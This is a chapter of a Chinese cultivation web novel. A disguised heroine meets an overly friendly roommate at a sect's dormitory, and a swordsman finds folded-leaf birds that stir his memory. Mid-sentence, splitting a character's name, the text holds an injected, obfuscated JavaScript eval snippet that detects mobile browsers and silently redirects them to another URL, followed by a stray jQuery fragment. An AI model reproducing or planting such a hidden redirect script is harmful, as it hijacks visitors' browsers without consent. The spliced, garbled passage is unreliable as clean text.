“姓名,籍贯,可有修行基础?”负责登记的弟子正低头写着什么,头也不抬地问道。
迟璟淡淡地开口,随便胡诌道:“早禾,山下村落来的,略识些拳脚。”
笔尖在纸上顿了顿,弟子抬头扫了她一眼,眼前的少女穿着宗门旧服,身形纤细,除了比旁人看起来更清秀一点,也没有更特别的了。
他没有多问,指了指不远处的弟子,说道:“已经登记了,你让那个师兄带你先去休整一番,明天统一开始宗门考核。”
迟璟点点头,跟着弟子一路走,走进了弟子住宿的地方,和后山不一样,这里随意进出,住在这的人还不少,不至于十天半个月的没人烟。
弟子将她带到一间木屋面前,吩咐道:“就在这里了姑娘,你慢慢休整吧。”
“多谢。”
推开门,一股清爽的木香气扑面而来,房间不算大,却收拾得干净整洁,一间屋子里有两个床,她估计待会还要再来一个和她住。
每个人的床铺上都放着一个包袱,迟璟走过去打开看了一番,这太虚玄宗竟给每个人都发了一个路灵牌、几颗丹药以及一把长剑。
这后两样不是什么稀奇玩意儿,包袱里面最贵的要数路灵牌,它看似是一个普通的木牌,其实里面蕴含着灵力,当使用者迷路时只需要拿着它在心中默念,它就可以为使用者指明方向。
要是后期修士已经修炼出灵力后,直接注入灵力即可知道方向。
迟璟拿着路灵牌在手中翻看,心里想着这太虚玄宗还真是舍得。
她还在看着,房门忽然“吱呀”一声被推开,一个穿着精致的女孩,脸上带着灿烂笑容的女生蹦蹦跳跳地走了进来,她朝门外挥挥手,撒娇着。
“哎呀,爹娘你们送到这里就好啦,我一个人可以的!”
外面却传来一道温和的声音,“这怎么能放心?你长这么大第一次离家住,我们不得来看看你住得舒不舒服。”
迟璟坐在床上,盯着这个女生,只瞧见她爹娘一边说话一边走了进来。
“你爱吃的蜜饯,换洗衣物还有你娘给你缝的安神香囊,都让下人给你带来了,一会就让他们给你拿进来。”
是个大户人家,迟璟打量着他们一家上下。
她母亲站在她旁边扫视了一圈屋子里的布局,眉头轻轻皱了一下:“这屋子虽然干净,就是床褥看着薄了点,晚上会不会冷?”
没等女生回答,她就朝身后招了招手,屋外跟着等待两个仆人立刻上前,“快,把这些新被褥给小姐铺上,再把香囊挂床头,蚊虫少些。”
听到这席话,迟璟在心中嗤笑了一声,且不说这秋老虎还没过去,盖那么厚的褥子会捂出病来,这考核还没开始,装备就这么齐全了。
“娘!不用那么麻烦的,宗门肯定都准备好了呀,”她拉了拉母亲的袖子,有点不好意思的看了看迟璟,小声嘀咕道:“我都这么大了,自己能照顾自己的,更何况我还没有通过考核呢,万一没有留下了,岂不是白忙活啦?”
她母亲握着她的手,声音软了下来:“多大在我们心里都是孩子,累了就休息,莫要硬撑,考核没有通过爹娘就来接你回去……”说着眼角就有点红了。
她爹也叹了口气,拍了拍她的肩膀:“我们也不打扰你了,你好好休息准备明天的考核,家里都好不用惦记。”虽说不用惦记,但话里话外都是关切。
“要记得按时吃饭。”
女孩母亲走的时候,又不舍地回头看了她好几眼,最后还是被她父亲轻轻的拉走了。
这一家离别得难舍难分,藕断丝连,情深意切,只是将迟璟这个房间里多出来的活人视作空气,丝毫不在意她的感受。
女孩告别了父母,脸上的不舍很快就被笑意取代,她快步走到迟璟面前,热情地打招呼。
“你好呀!我叫景向雁,咱们以后就是室友啦!你叫什么名字呀?”
迟璟抬眸看她一眼,只淡然开口道:“早禾。”说完名字后便没再说话,一副不想多聊的模样。
景向雁却丝毫没受影响,依旧兴致勃勃的,眼睛在房间里扫了一圈,看到了床头放着的包袱,兴奋道:“哇,这还有个包裹,”说着就坐到床上将它打开。
但是这大小姐似乎对这些一窍不通,一头雾水地盯着包袱里的物件看:“这是……一个木牌子?还有几颗……嗯这是吃的吗?哇!还有剑,真好!”
好不容易消停会儿,景向雁又从自己带来的大大的包袱里面掏啊掏,很轻松的掏出一个油纸包。
她眼睛亮晶晶地,像献宝似的递到迟璟面前:“要不要尝尝?这是我娘亲手腌的蜜饯,我最喜欢吃了,酸甜酸甜的。”
迟璟将视线看向她充满期待的脸上,又落到油纸包上,语气听不出情绪:“不必了,我不喜甜食。”
她本以为这样对这个大小姐,她就能安分一点。
但人家只是眨了眨眼,毫不在意地“哦”了一声,自己捏了一颗放进嘴里,含糊不清地说:“但真的很好吃嘛……不吃好可惜哦。”她一边嚼着,一边又好奇地凑近了一点。
“真的不尝尝吗?”
迟璟皱了下眉,有些不耐烦的叹了口气,她不禁感叹这个女生的“厚脸皮”,以及没眼力见。
“吃一颗尝尝看,不好吃我认你做老大!”她把油纸包又往前递了递。
迟璟沉默几秒,才用两根手指捏起一颗,放进嘴里,嚼了嚼,吐出两个字:“一般。”
其实味道真的还不错,不过她不太想给这个大小姐提供太多情绪价值。
“哎,早禾姑娘,你是从哪里来的呀?”她咽下蜜饯,又开始问,“怎么会想来这里参加考核呢?是不是也想成为很厉害很厉害的修士?”
迟璟微微蹙眉,似乎觉得这些问题既无聊又多余。
她瞥了景向雁一眼语气带着一丝不易察觉的嘲讽,“很远的地方,至于为什么来……自然不是为了来交朋友的。”
景向雁似乎没有察觉到她话里的刺,反而捕捉到关键词,接着道:“很远的地方?那一定有很多好玩的故事吧!哇,你好厉害,一个人走这么远!”
她看向迟璟的眼神里甚至带上了一点崇拜。
“多谢,不过你什么时候能安……”
“哇!快看快看!外面的景色好漂亮!”
安静一点。
迟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576927|187154||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
璟话都还没有说完,又被她一惊一乍地打断了。
这是她长这么大,第一次遇到的话那么多的人,她还真是不知道怎么面对。
迟璟挠了挠脑袋,有点疑惑。
她蹦跳到窗边,看着外面被夕阳染红的云霞和远处若隐若现的山峦,手撑在窗台上。
“我还是第一次离开家这么远呢!以后我们就是室友了,要互相照应呀!”
迟璟看着她在窗边雀跃的背影,不知是无奈还是别的什么,她最终只是再次将目光投向窗外。
“早禾!我们出去逛逛吧!”景向雁突然回过头来,提议道。
无论迟璟怎么拒绝都没用,大小姐直接走过来挽住她的手,嘟着嘴巴开始撒娇。
与此同时,卫听玉推开了静室的院子。
许子林向他汇报,那个女人已经走了,早上的事情他还是抱有怀疑,打算再来看看。
室内空寂,陈设简单,一如宗门内所有供人临时清修的静室。石床、蒲团、矮几,皆变回了整洁冰冷的样子。
卫听玉缓缓地扫过每一寸角落,指尖掠过桌面,全神贯注地检查着这个屋子里的每一处。
一无所获。
那个叫“早禾”的女人,在此养伤数日,竟未留下任何私人的印记。
太过干净,反而显出几分不寻常。
他记得她那双过于沉静的眼眸,与“养伤”二字总透着一丝微妙的违和。
但现在仍然一无所获,卫听玉敛起心神,压下那点无凭无据的疑虑,转身离去。
刚出静室,后山便起风了,他正准备离开,目光却无意间被门边几团被风吹拢的、已经枯黄了的叶子吸引。
这看起来并非什么显眼的东西,可他的脚步却莫名顿住。
但一种近乎荒谬的冲动,让他这个素来洁整、不染尘垢的剑修,鬼使神差地弯下腰,修长的手指拨开了面上那几片零落叶子。
露出来底下藏着的,几团被揉捏得有些变形的宽大叶片,边缘已微微卷曲发干。
他的动作停滞了一瞬,指尖拈起其中一团展开。
叶片脆弱,脉络清晰,被笨拙地折叠扭转过,呈现出一种稚气的、歪歪扭扭的形状,还能依稀是一只小鸟的模样。
霎那间,卫听玉如遭雷击,整个人愣在原地。
怎么会?这种无聊时信手折叶、聊以解闷的方式,记忆中,唯有那一个人。
那个性情远比迟璟更为古怪清冷、眸中从不轻易映人身影的女子。
唯有在极度无聊烦闷时,才会随手捡起落叶,面无表情地、手指却灵巧地折出这等稚拙小物。
“这个是鸟妈妈,这个是鸟宝宝……”
他曾经瞥见过,情绪波动极低的她会一个人坐在凳子上,喃喃自语,就像一个在玩过家家的小孩。
是巧合?还是那个不懂规矩、来历成谜的早禾?
一种荒谬感瞬间攫住了他,心跳失序,血液奔涌的声音冲击着卫听玉的耳膜。
良久,他缓缓收拢手指,极其小心地,将那几枚叶子尽数拾起,放入怀中。
卫听玉转身离去,步伐依旧沉稳,像是什么都没发生过一般。